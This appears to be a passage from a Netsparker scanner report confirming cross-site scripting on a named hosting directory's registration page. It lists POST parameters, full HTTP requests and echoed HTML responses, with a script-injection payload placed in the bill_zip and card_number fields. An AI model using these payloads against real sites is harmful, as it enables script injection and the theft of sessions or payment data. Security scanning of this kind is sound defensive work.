<option value='C4C0A65D598D2DD55B533651D921827BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='C4C0A65D598D2DD5C921FB5652F713E7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='C4C0A65D598D2DD5CE385752013F634EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD53D242BB92B46EB37C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='C4C0A65D598D2DD5FCC4560C0EEA2BDAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='C4C0A65D598D2DD509C734A3225E0949C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='C4C0A65D598D2DD5412B815FD6E1C71E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='C4C0A65D598D2DD5B3FBD2ACCEAE33D16F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='C4C0A65D598D2DD58C61138E6ABEBC7A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST '"--></style></script><script>alert(0x001CAD)</script>
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 583
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001CAD)%3c%2fscript%3e&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:49:37 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='C4C0A65D598D2DD535EDBEEF09CD52A7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='C4C0A65D598D2DD56326706CDA48A5666F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='C4C0A65D598D2DD52D4259DEFE7E7233C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD5F58A6285C00CF0FAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='C4C0A65D598D2DD51EE2B3CA1BDFF12B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='C4C0A65D598D2DD5AEB9DB5E203A3EA2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='C4C0A65D598D2DD5FE52339621074957C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='C4C0A65D598D2DD53E6CC0EB282283846F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='C4C0A65D598D2DD54D859A64CCB486D8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='C4C0A65D598D2DD5A779F73C387C86F66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='C4C0A65D598D2DD5AA78B0998B93870CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='C4C0A65D598D2DD5ACEE002C95AACDDBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='C4C0A65D598D2DD5A894CAEB8DBC0932C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD58E147E28EB96B096C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='C4C0A65D598D2DD5DF8FD88BDECC6FCBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='C4C0A65D598D2DD566D0D65657C79CD4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='C4C0A65D598D2DD59C514F87DDE1C3636F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='C4C0A65D598D2DD5D506B7B0E9C0CE136F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='C4C0A65D598D2DD519DF4D258A75B9D76F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST '"--></style></script><script>alert(0x001CAE)</script>
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 583
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001CAE)%3c%2fscript%3e&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:49:40 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
